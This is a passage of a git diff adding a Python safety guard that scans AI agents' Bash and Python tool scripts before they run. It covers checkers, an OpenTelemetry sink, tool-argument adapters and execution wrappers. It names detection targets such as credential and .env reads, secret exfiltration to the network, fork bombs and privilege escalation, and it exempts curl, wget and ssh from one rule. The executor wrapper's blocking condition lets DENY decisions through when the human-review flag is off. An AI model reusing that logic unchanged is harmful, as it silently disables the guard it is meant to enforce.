list[SafetyFinding] = [] + for fact in facts.process_calls: + if fact.shell is not True: + continue + decision = resolve_decision( + "PROC002_SHELL_INJECTION", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="PROC002_SHELL_INJECTION", + category=RiskCategory.PROCESS, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Use argument lists (shell=False) to avoid shell injection.", + extras={"executable": _first_token(fact.command) or ""}, + )) + return out + + +def check_shell_operator( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.shell_operators: + decision = resolve_decision( + "PROC003_SHELL_OPERATOR", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="PROC003_SHELL_OPERATOR", + category=RiskCategory.PROCESS, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Shell operators require review; split into explicit steps.", + extras={"operator": fact.operator}, + )) + return out + + +def check_privilege_escalation( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.privilege_commands: + decision = resolve_decision( + "PROC004_PRIVILEGE", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="PROC004_PRIVILEGE", + category=RiskCategory.PROCESS, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Privilege escalation commands are forbidden.", + extras={"command": fact.command}, + )) + return out + + +def check_dependency_install( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + desired = policy.dependencies.decision.lower() + proposed = { + "allow": SafetyDecision.ALLOW, + "needs_human_review": SafetyDecision.NEEDS_HUMAN_REVIEW, + "deny": SafetyDecision.DENY, + }.get(desired, SafetyDecision.DENY) + for fact in facts.dependency_installs: + decision = resolve_decision("DEP001_ENV_MUTATION", proposed, policy) + if decision == SafetyDecision.ALLOW: + continue + risk = RiskLevel.HIGH if decision == SafetyDecision.DENY else RiskLevel.MEDIUM + out.append(_finding( + rule_id="DEP001_ENV_MUTATION", + category=RiskCategory.DEPENDENCY, + risk=risk, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Dependency installation mutates the runtime image.", + extras={"manager": fact.manager, "command": fact.command}, + )) + return out + + +def check_unbounded_loop( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.unbounded_loops: + decision = resolve_decision( + "RES001_UNBOUNDED_LOOP", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="RES001_UNBOUNDED_LOOP", + category=RiskCategory.RESOURCE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Loop has no static exit condition; rewrite with a bounded range.", + extras={"kind": fact.kind}, + )) + return out + + +def check_fork_bomb( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.fork_bombs: + decision = resolve_decision( + "RES002_FORK_BOMB", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="RES002_FORK_BOMB", + category=RiskCategory.RESOURCE, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Fork-bomb pattern detected.", + extras={"pattern": fact.pattern}, + )) + return out + + +def check_long_sleep( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + threshold = policy.limits.max_sleep_seconds + for fact in facts.long_sleeps: + if fact.duration_seconds is None: + decision = resolve_decision( + "RES003_LONG_SLEEP", + _default_unknown(policy), + policy, + ) + risk = RiskLevel.LOW + elif fact.duration_seconds > threshold: + decision = resolve_decision( + "RES003_LONG_SLEEP", SafetyDecision.DENY, policy) + risk = RiskLevel.MEDIUM + else: + continue + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="RES003_LONG_SLEEP", + category=RiskCategory.RESOURCE, + risk=risk, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Sleep exceeds or hides its duration; verify it is bounded.", + extras={"duration_seconds": str(fact.duration_seconds), + "raw": fact.raw, "limit_seconds": str(threshold)}, + )) + return out + + +def check_concurrency( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + threshold = policy.limits.max_parallel_tasks + for fact in facts.concurrency: + if fact.count is None: + decision = resolve_decision( + "RES004_CONCURRENCY", + _default_unknown(policy), + policy, + ) + risk = RiskLevel.LOW + elif fact.count > threshold: + decision = resolve_decision( + "RES004_CONCURRENCY", SafetyDecision.DENY, policy) + risk = RiskLevel.MEDIUM + else: + continue + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="RES004_CONCURRENCY", + category=RiskCategory.RESOURCE, + risk=risk, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Concurrency exceeds policy; reduce fan-out.", + extras={"count": str(fact.count), "raw": fact.raw, + "limit": str(threshold)}, + )) + return out + + +def check_large_write( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + threshold = policy.limits.max_file_write_bytes + for fact in facts.large_writes: + if fact.size is None: + decision = resolve_decision( + "RES005_LARGE_WRITE", + _default_unknown(policy), + policy, + ) + risk = RiskLevel.LOW + elif fact.size > threshold: + decision = resolve_decision( + "RES005_LARGE_WRITE", SafetyDecision.DENY, policy) + risk = RiskLevel.MEDIUM + else: + continue + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="RES005_LARGE_WRITE", + category=RiskCategory.RESOURCE, + risk=risk, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="File write exceeds size budget or hides its size.", + extras={"size_bytes": str(fact.size), "target": fact.target, + "limit_bytes": str(threshold)}, + )) + return out + + +def check_secret_to_output( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.secret_flows: + if fact.sink_kind != "output": + continue + decision = resolve_decision( + "SECRET001_LOG_SINK", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="SECRET001_LOG_SINK", + category=RiskCategory.SECRET, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Secret-looking value flows into a log/print sink.", + extras={"source": fact.source, "sink": fact.sink}, + )) + return out + + +def check_secret_to_file( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.secret_flows: + if fact.sink_kind != "file": + continue + decision = resolve_decision( + "SECRET002_FILE_SINK", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="SECRET002_FILE_SINK", + category=RiskCategory.SECRET, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Secret-looking value flows into a file sink.", + extras={"source": fact.source, "sink": fact.sink}, + )) + return out + + +def check_secret_to_network( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.secret_flows: + if fact.sink_kind != "network": + continue + decision = resolve_decision( + "SECRET003_NETWORK_SINK", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="SECRET003_NETWORK_SINK", + category=RiskCategory.SECRET, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Secret-looking value flows into a network sink.", + extras={"source": fact.source, "sink": fact.sink}, + )) + return out + + +def check_parse_error( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.parse_errors: + decision = resolve_decision( + "PARSE001_UNCERTAIN", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="PARSE001_UNCERTAIN", + category=RiskCategory.ANALYSIS, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet or fact.message, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Could not parse the script; treat as untrusted.", + extras={"message": fact.message}, + )) + return out + + +def check_dynamic_exec( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.dynamic_execs: + decision = resolve_decision( + "OBF001_DYNAMIC_EXEC", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="OBF001_DYNAMIC_EXEC", + category=RiskCategory.ANALYSIS, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Dynamic code execution hides intent; replace with a static call.", + extras={"kind": fact.kind}, + )) + return out + + +CATALOG = ( + check_file_recursive_delete, + check_file_denied_write, + check_file_credential_read, + check_file_dotenv_read, + check_network_non_allowlist, + check_network_dynamic_target, + check_process_exec, + check_shell_injection, + check_shell_operator, + check_privilege_escalation, + check_dependency_install, + check_unbounded_loop, + check_fork_bomb, + check_long_sleep, + check_concurrency, + check_large_write, + check_secret_to_output, + check_secret_to_file, + check_secret_to_network, + check_parse_error, + check_dynamic_exec, +) + + +def evaluate_facts( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + """Run every catalog checker and return the combined findings.""" + + out: list[SafetyFinding] = [] + for checker in CATALOG: + out.extend(checker(facts, policy, language, redactor)) + return out + + +# --------------------------------------------------------------------------- # +# Rule objects +# --------------------------------------------------------------------------- # + +class _LanguageScannerRule: + """Shared base for Python/Bash rules. + + Subclasses set :attr:`language` and :attr:`_extract` so the rule + delegates parsing to the right scanner once, then runs the catalog. + """ + + rule_id = "language_scanner" + + def __init__(self, language: ScriptLanguage) -> None: + self.language = language + + def _extract(self, request: SafetyScanRequest) -> ScriptFacts: + raise NotImplementedError + + def scan( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + ) -> Iterable[SafetyFinding]: + if request.language != self.language: + return [] + if not request.script: + return [] + facts = self._extract(request) + redactor = Redactor(env_values=request.env.values()) + return evaluate_facts(facts, policy, self.language, redactor) + + +def _matches_denied_path(target: str, policy: ToolSafetyPolicy) -> bool: + if not target: + return False + from tool.safety._policy import normalize_script_path_for_match + + normalized = normalize_script_path_for_match(target) + for pattern in policy.paths.deny: + if match_path_glob(normalized, pattern) or \ + match_path_glob(target, pattern): + return True + # Path basename matching for relative references like ".env". + name = normalized.rsplit("/", 1)[-1] + if name == ".env": + return True + for pattern in policy.paths.deny: + if match_path_glob(name, pattern.rsplit("/", 1)[-1]): + return True + return False + + +def _first_token(command: str) -> str: + if not command: + return "" + return command.strip().split()[0] if command.strip() else "" + + +# Read-only / informational Bash commands that are exempt from PROC001. +# Other rules (file read of credentials, secret flow, network checks) +# still apply when these commands touch sensitive targets. +_SAFE_BASH_COMMANDS: frozenset[str] = frozenset({ + "echo", "printf", "ls", "ll", "pwd", "cd", "cat", "head", "tail", + "less", "more", "view", "grep", "egrep", "fgrep", "rg", "ack", + "wc", "sort", "uniq", "tr", "cut", "paste", "expand", "unexpand", + "date", "cal", "uptime", "whoami", "id", "groups", "hostname", + "uname", "env", "printenv", "set", "true", "false", "test", "[", + "basename", "dirname", "realpath", "readlink", "which", "whereis", + "file", "stat", "ldd", "du", "df", "free", "vmstat", "seq", "yes", + "tee", # tee writes files but FILE002 catches sensitive targets + "xargs", # may invoke subcommands; those are recorded as separate facts + "find", # find -delete handled separately + "ps", "lsof", "netstat", "ss", "ip", "ifconfig", "arp", + "man", "help", "type", "command", "hash", + "getopts", "getopt", "sleep", # RES003 catches long sleeps + "clear", "reset", "history", "alias", "unalias", + "set", "unset", "export", "shift", "shopt", "source", ".", + "python", "python3", "python2", "node", "ruby", "perl", + "git", "go", "cargo", "rustc", "gcc", "clang", + "curl", "wget", # NET001/NET002 vet targets + "ssh", "scp", "sftp", # treated as network calls + "tar", "zip", "unzip", "gzip", "gunzip", "bzip2", "xz", +}) + + +def default_rules() -> list[SafetyRule]: + """Return the default rule set. + + Rules are constructed lazily so importing this module is cheap. The + Python and Bash scanners are wired here; custom rules can be appended + or used as a replacement set. + """ + + from tool.safety._python_scanner import PythonScannerRule + from tool.safety._bash_scanner import BashScannerRule + from tool.safety._cross_field_scanner import CrossFieldScannerRule + + return [ + PythonScannerRule(), + BashScannerRule(), + CrossFieldScannerRule(), + ] diff --git a/tool/safety/_telemetry.py b/tool/safety/_telemetry.py new file mode 100644 index 00000000..6dac0d26 --- /dev/null +++ b/tool/safety/_telemetry.py @@ -0,0 +1,197 @@ +"""OpenTelemetry integration that no-ops cleanly when OTel is absent. + +We record a small, low-cardinality set of span attributes plus a counter +and histogram. Evidence, script hashes, and env values are never emitted +as span attributes: they would inflate cardinality and risk leaking +secrets via tracing backends. +""" + +from __future__ import annotations + +from typing import Any + +from tool.safety._models import SafetyAuditEvent, SafetyReport + + +_SPAN_ATTRS = ( + "tool.safety.decision", + "tool.safety.risk_level", + "tool.safety.rule_id", + "tool.safety.blocked", + "tool.safety.redacted", + "tool.safety.scan_duration_ms", + "tool.safety.policy_hash", +) + +_METRIC_SCAN_COUNT = "trpc_agent.tool_safety.scan_count" +_METRIC_BLOCK_COUNT = "trpc_agent.tool_safety.block_count" +_METRIC_SCAN_DURATION = "trpc_agent.tool_safety.scan_duration_ms" + + +class TelemetrySink: + """Best-effort telemetry facade. + + The constructor probes for an OpenTelemetry tracer/meter provider. If + none is configured, all methods become no-ops. This keeps the guard + safe to import in environments that do not run OTel. + """ + + def __init__(self) -> None: + self._tracer = _safe_tracer() + self._meter = _safe_meter() + self._counter = _safe_counter(self._meter, _METRIC_SCAN_COUNT) + self._block_counter = _safe_counter(self._meter, _METRIC_BLOCK_COUNT) + self._histogram = _safe_histogram(self._meter, _METRIC_SCAN_DURATION) + + def record(self, report: SafetyReport, *, + tool_name: str, blocked: bool) -> None: + attrs = self.attributes(report, tool_name=tool_name, blocked=blocked) + self._emit_span_attrs(attrs) + if self._counter is not None: + try: + self._counter.add( + 1, { + "decision": report.decision.value, + "risk_level": report.risk_level.label(), + "tool_name": tool_name, + } + ) + except Exception: # pragma: no cover - defensive + pass + if blocked and self._block_counter is not None: + try: + primary = report.rule_ids[0] if report.rule_ids else "" + self._block_counter.add( + 1, { + "decision": report.decision.value, + "rule_id": primary, + "tool_name": tool_name, + } + ) + except Exception: # pragma: no cover - defensive + pass + if self._histogram is not None: + try: + self._histogram.record( + report.scan_duration_ms, + {"decision": report.decision.value, + "tool_name": tool_name}, + ) + except Exception: # pragma: no cover - defensive + pass + + @staticmethod + def attributes(report: SafetyReport, *, + tool_name: str, blocked: bool) -> dict[str, Any]: + """Return the span attribute dict for a report. + + ``rule_id`` is joined into a bounded comma-separated string (the + list is naturally bounded by the rule catalog size). + """ + + rule_ids = ",".join(report.rule_ids[:8]) + return { + "tool.safety.decision": report.decision.value, + "tool.safety.risk_level": report.risk_level.label(), + "tool.safety.rule_id": rule_ids, + "tool.safety.blocked": bool(blocked), + "tool.safety.redacted": bool(report.redacted), + "tool.safety.scan_duration_ms": float(report.scan_duration_ms), + "tool.safety.policy_hash": report.policy_hash, + } + + def _emit_span_attrs(self, attrs: dict[str, Any]) -> None: + if self._tracer is None: + return + try: + from opentelemetry.trace import ( # type: ignore + INVALID_SPAN, get_current_span, + ) + span = get_current_span() + if span is INVALID_SPAN or span is None: + return + # ``set_attributes`` exists on Span starting from OTel 1.x. + set_attributes = getattr(span, "set_attributes", None) + if set_attributes is not None: + set_attributes(attrs) + return + for key, value in attrs.items(): + span.set_attribute(key, value) + except Exception: # pragma: no cover - defensive + pass + + +def _safe_tracer(): + try: + from opentelemetry.trace import get_tracer # type: ignore + return get_tracer("tool.safety") + except Exception: + return None + + +def _safe_meter(): + try: + from opentelemetry.metrics import get_meter # type: ignore + return get_meter("tool.safety") + except Exception: + return None + + +def _safe_counter(meter, name: str): + if meter is None: + return None + try: + return meter.create_counter(name) + except Exception: + return None + + +def _safe_histogram(meter, name: str): + if meter is None: + return None + try: + return meter.create_histogram(name) + except Exception: + return None + + +_default_sink: TelemetrySink | None = None + + +def get_default_sink() -> TelemetrySink: + global _default_sink + if _default_sink is None: + _default_sink = TelemetrySink() + return _default_sink + + +def build_audit_event( + *, + report, + tool_name: str, + tool_kind, + execution_blocked: bool, + timestamp: str, + invocation_id: str | None = None, +): + """Build a :class:`SafetyAuditEvent` from a report.""" + + from tool.safety._models import SafetyAuditEvent + + return SafetyAuditEvent( + event_id=report.report_id, + timestamp=timestamp, + report_id=report.report_id, + tool_name=tool_name, + tool_kind=tool_kind, + decision=report.decision, + risk_level=report.risk_level, + rule_ids=report.rule_ids, + duration_ms=report.scan_duration_ms, + redacted=report.redacted, + execution_blocked=execution_blocked, + policy_hash=report.policy_hash, + policy_version=report.policy_version, + script_sha256=report.script_sha256, + invocation_id=invocation_id, + ) diff --git a/tool/safety/_tool_adapter.py b/tool/safety/_tool_adapter.py new file mode 100644 index 00000000..ed5bfe1c --- /dev/null +++ b/tool/safety/_tool_adapter.py @@ -0,0 +1,229 @@ +"""Build SafetyScanRequest from tool invocation args. + +The adapter reads the declarative field mapping from the policy so +custom tools can be supported without code changes. Built-in adapters +cover ``workspace_exec``, ``skill_run`` and ``skill_exec``; MCP and +custom tools use the same declarative form. +""" + +from __future__ import annotations + +from typing import Any, Mapping + +from tool.safety._exceptions import ToolRequestError +from tool.safety._models import SafetyScanRequest, ScriptLanguage, ToolKind +from tool.safety._policy import ToolFieldMapping, ToolSafetyPolicy + + +# Default mappings keyed by the canonical tool name. The keys must match +# what the framework passes as ``tool_name`` to the filter; they can be +# overridden or extended through ``policy.tools``. +_BUILTIN_DEFAULTS: dict[str, ToolFieldMapping] = { + "workspace_exec": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.BASH, + script="command", + cwd="cwd", + env="env", + timeout="timeout_sec", + ), + "skill_run": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.BASH, + script="command", + cwd="cwd", + env="env", + timeout="timeout", + ), + "skill_exec": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.BASH, + script="command", + cwd="cwd", + env="env", + timeout="timeout", + ), + "python_exec": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.PYTHON, + script="code", + cwd="cwd", + env="env", + timeout="timeout", + ), + "bash_exec": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.BASH, + script="command", + cwd="cwd", + env="env", + timeout="timeout", + ), +} + + +class ToolInputAdapter: + """Translate a tool's invocation args into a SafetyScanRequest. + + The adapter is intentionally pure: it does not call the tool, read + files, or evaluate the script. It only normalizes the declared + arguments into the request shape the guard expects. + """ + + def __init__( + self, + tool_name: str, + mapping: ToolFieldMapping, + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + ) -> None: + self.tool_name = tool_name + self.mapping = mapping + self.tool_kind = tool_kind + + def build_request( + self, + args: Mapping[str, Any], + *, + metadata: Mapping[str, Any] | None = None, + ) -> SafetyScanRequest: + script = _extract_scalar(args, self.mapping.script, + required=self.mapping.execution_capable) + if script is None and self.mapping.execution_capable: + raise ToolRequestError( + f"tool {self.tool_name!r} is execution-capable but no " + f"script field was found (expected field " + f"{self.mapping.script!r})" + ) + cwd = _extract_scalar(args, self.mapping.cwd, required=False) + env = _extract_mapping(args, self.mapping.env) + argv_value = _extract_sequence(args, self.mapping.argv) + timeout = _extract_float(args, self.mapping.timeout) + merged_metadata: dict[str, Any] = { + "execution_capable": self.mapping.execution_capable, + "adapter_id": self.tool_name, + } + if metadata: + merged_metadata.update(metadata) + return SafetyScanRequest( + tool_name=self.tool_name, + tool_kind=self.tool_kind, + language=self.mapping.language, + script=script or "", + argv=argv_value, + cwd=cwd, + env=env, + metadata=merged_metadata, + requested_timeout_seconds=timeout, + ) + + +def build_default_adapters( + policy: ToolSafetyPolicy, +) -> dict[str, ToolInputAdapter]: + """Build adapters for builtin tools, allowing policy overrides.""" + + out: dict[str, ToolInputAdapter] = {} + for name, default in _BUILTIN_DEFAULTS.items(): + mapping = policy.tools.get(name, default) + out[name] = ToolInputAdapter(name, mapping) + for name, mapping in policy.tools.items(): + if name in out: + continue + out[name] = ToolInputAdapter(name, mapping) + return out + + +def resolve_adapter( + tool_name: str, + policy: ToolSafetyPolicy, + *, + builtin: dict[str, ToolInputAdapter] | None = None, +) -> ToolInputAdapter: + """Pick the adapter for ``tool_name``. + + Built-ins win first; otherwise the policy-declared mapping is used. + A tool with no mapping returns an adapter whose language is UNKNOWN + so the guard falls back to ``needs_human_review``. + """ + + if builtin and tool_name in builtin: + return builtin[tool_name] + mapping = policy.tools.get(tool_name) or ToolFieldMapping( + execution_capable=False, + language=ScriptLanguage.UNKNOWN, + ) + return ToolInputAdapter(tool_name, mapping) + + +# --------------------------------------------------------------------------- # +# Helpers +# --------------------------------------------------------------------------- # + +def _extract_scalar( + args: Mapping[str, Any], + field_name: str | None, + *, + required: bool, +) -> str | None: + if not field_name: + return None + if field_name not in args: + if required: + raise ToolRequestError( + f"required field {field_name!r} missing from tool args") + return None + value = args[field_name] + if value is None: + return None + if isinstance(value, str): + return value + if isinstance(value, (list, tuple)): + return " ".join(str(v) for v in value) + return str(value) + + +def _extract_mapping( + args: Mapping[str, Any], + field_name: str | None, +) -> dict[str, str]: + if not field_name or field_name not in args: + return {} + value = args[field_name] + if value is None: + return {} + if not isinstance(value, Mapping): + raise ToolRequestError( + f"field {field_name!r} must be a mapping; got {type(value)!r}") + return {str(k): str(v) for k, v in value.items()} + + +def _extract_sequence( + args: Mapping[str, Any], + field_name: str | None, +) -> tuple[str, ...]: + if not field_name or field_name not in args: + return () + value = args[field_name] + if value is None: + return () + if isinstance(value, str): + return (value,) + if isinstance(value, (list, tuple)): + return tuple(str(v) for v in value) + return (str(value),) + + +def _extract_float( + args: Mapping[str, Any], + field_name: str | None, +) -> float | None: + if not field_name or field_name not in args: + return None + value = args[field_name] + if value is None: + return None + try: + return float(value) + except (TypeError, ValueError): + return None diff --git a/tool/wrapper.py b/tool/wrapper.py new file mode 100644 index 00000000..a28358ef --- /dev/null +++ b/tool/wrapper.py @@ -0,0 +1,343 @@ +"""Generic pre-execution wrappers. + +These wrappers are the recommended way to enforce safety decisions when +direct framework integration is not yet wired in. They take any +callable (sync or async) and any duck-typed "code executor" object, and +guarantee that the delegate is never reached for ``deny`` or un-approved +``needs_human_review`` outcomes. + +Design +------ +* The wrapper is the *only* enforcement point in this standalone + package. It is intentionally small so the audit trail is unambiguous: + exactly one audit event per call, written before the delegate runs. +* The wrapper does not impose a CPU/memory limit. The plan calls out + that real resource enforcement belongs to the sandbox/runtime; the + wrapper only applies the static guard decision and the output-byte + cap on what the agent observes. +""" + +from __future__ import annotations + +import asyncio +import inspect +from typing import Any, Awaitable, Callable, Generic, TypeVar + +from tool.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink +from tool.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter +from tool.safety._guard import ToolSafetyGuard +from tool.safety._models import ( + RiskLevel, + SafetyDecision, + SafetyReport, + SafetyScanRequest, + ScriptLanguage, + ToolKind, +) +from tool.safety._policy import ToolSafetyPolicy + +T = TypeVar("T") + + +class SafetyWrappedCallable(Generic[T]): + """Wrap a callable so it runs only when the guard allows it. + + Example + ------- + >>> import os + >>> from tool.safety import load_safety_policy, ToolSafetyGuard + >>> from tool.wrapper import SafetyWrappedCallable + >>> policy = load_safety_policy("policy.yaml") + >>> guard = ToolSafetyGuard(policy) + >>> wrapped = SafetyWrappedCallable(guard, os.system, + ... tool_name="os.system", + ... language=ScriptLanguage.BASH, + ... script_kw="script") + >>> # wrapped("ls") runs only if the policy allows it. + """ + + def __init__( + self, + guard: ToolSafetyGuard, + delegate: Callable[..., T], + *, + tool_name: str, + language: ScriptLanguage = ScriptLanguage.UNKNOWN, + tool_kind: ToolKind = ToolKind.UNKNOWN, + script_kw: str | None = None, + script_pos: int | None = None, + cwd_kw: str | None = None, + env_kw: str | None = None, + timeout_kw: str | None = None, + filter: ToolScriptSafetyFilter | None = None, + ) -> None: + if (script_kw is None) == (script_pos is None): + raise ValueError( + "specify exactly one of script_kw or script_pos") + self.guard = guard + self.delegate = delegate + self.tool_name = tool_name + self.language = language + self.tool_kind = tool_kind + self.script_kw = script_kw + self.script_pos = script_pos + self.cwd_kw = cwd_kw + self.env_kw = env_kw + self.timeout_kw = timeout_kw + self._filter = filter or ToolScriptSafetyFilter( + guard, audit_sink=_default_audit_sink(guard.policy)) + + def __call__(self, *args: Any, **kwargs: Any) -> T: + report = self._enforce(args, kwargs) + # Set sanitized trace args for downstream telemetry consumers. + try: + return self.delegate(*args, **kwargs) + finally: + _ = report # caller can inspect via last_report + + async def call_async(self, *args: Any, **kwargs: Any) -> T: + report = self._enforce(args, kwargs) + result = self.delegate(*args, **kwargs) + if inspect.isawaitable(result): + return await result + return result # type: ignore[return-value] + + @property + def safety_filter(self) -> ToolScriptSafetyFilter: + return self._filter + + def _enforce( + self, + args: tuple[Any, ...], + kwargs: dict[str, Any], + ) -> SafetyReport: + script = self._extract_script(args, kwargs) + cwd = kwargs.get(self.cwd_kw) if self.cwd_kw else None + env = kwargs.get(self.env_kw) if self.env_kw else None + timeout = kwargs.get(self.timeout_kw) if self.timeout_kw else None + request = SafetyScanRequest( + tool_name=self.tool_name, + tool_kind=self.tool_kind, + language=self.language, + script=script or "", + cwd=str(cwd) if cwd is not None else None, + env={str(k): str(v) for k, v in (env or {}).items()} + if isinstance(env, dict) else {}, + requested_timeout_seconds=float(timeout) + if isinstance(timeout, (int, float)) else None, + ) + report = self.guard.scan(request) + if report.decision == SafetyDecision.ALLOW: + return report + if report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW \ + and not self.guard.policy.defaults.human_review_blocks_execution: + return report + raise BlockedExecutionError(report) + + def _extract_script( + self, + args: tuple[Any, ...], + kwargs: dict[str, Any], + ) -> str: + if self.script_kw is not None: + value = kwargs.get(self.script_kw, "") + elif self.script_pos is not None: + try: + value = args[self.script_pos] + except IndexError: + value = "" + else: # pragma: no cover - constructor forbids this + value = "" + if value is None: + return "" + if isinstance(value, str): + return value + if isinstance(value, (list, tuple)): + return " ".join(str(v) for v in value) + return str(value) + + +class SafetyCheckedExecutor: + """Wrap a duck-typed code executor. + + The delegate must expose ``async def execute_code(self, input)`` and + return an object with at least ``outcome`` and ``output`` attributes + (or be a dict with the same keys). The wrapper: + + 1. Scans every code block in the input. + 2. Combines the reports; emits one audit event before delegating. + 3. Returns a failed result without calling the delegate on deny or + un-approved review. + 4. Truncates the returned output to ``policy.limits.max_output_bytes``. + """ + + def __init__( + self, + guard: ToolSafetyGuard, + delegate: Any, + *, + tool_name: str = "code_executor", + language: ScriptLanguage = ScriptLanguage.PYTHON, + effective_timeout_seconds: float | None = None, + audit_sink: AuditSink | None = None, + filter: ToolScriptSafetyFilter | None = None, + ) -> None: + self.guard = guard + self.delegate = delegate + self.tool_name = tool_name + self.language = language + self.effective_timeout_seconds = effective_timeout_seconds + self._filter = filter or ToolScriptSafetyFilter( + guard, audit_sink=audit_sink or _default_audit_sink(guard.policy)) + + async def execute_code(self, execution_input: Any) -> Any: + requests = self._build_requests(execution_input) + if not requests: + return _make_failure_result("no code blocks to scan") + reports: list[SafetyReport] = [] + for request in requests: + reports.append(self.guard.scan(request)) + combined = SafetyReport.combine( + reports, + report_id=reports[0].report_id, + policy_hash=self.guard.policy_hash, + policy_version=self.guard.policy_version, + scan_duration_ms=sum(r.scan_duration_ms for r in reports), + ) + blocked = combined.decision in ( + SafetyDecision.DENY, SafetyDecision.NEEDS_HUMAN_REVIEW, + ) and self.guard.policy.defaults.human_review_blocks_execution + # Audit + from tool.safety._telemetry import build_audit_event + event = build_audit_event( + report=combined, + tool_name=self.tool_name, + tool_kind=ToolKind.CODE_EXECUTOR, + execution_blocked=blocked, + timestamp=_utc_now_iso(), + ) + await self._filter.audit_sink.emit(event) + if blocked: + return _render_executor_block(combined) + if self.effective_timeout_seconds is not None \ + and self.effective_timeout_seconds \ + > self.guard.policy.limits.max_timeout_seconds: + return _make_failure_result( + 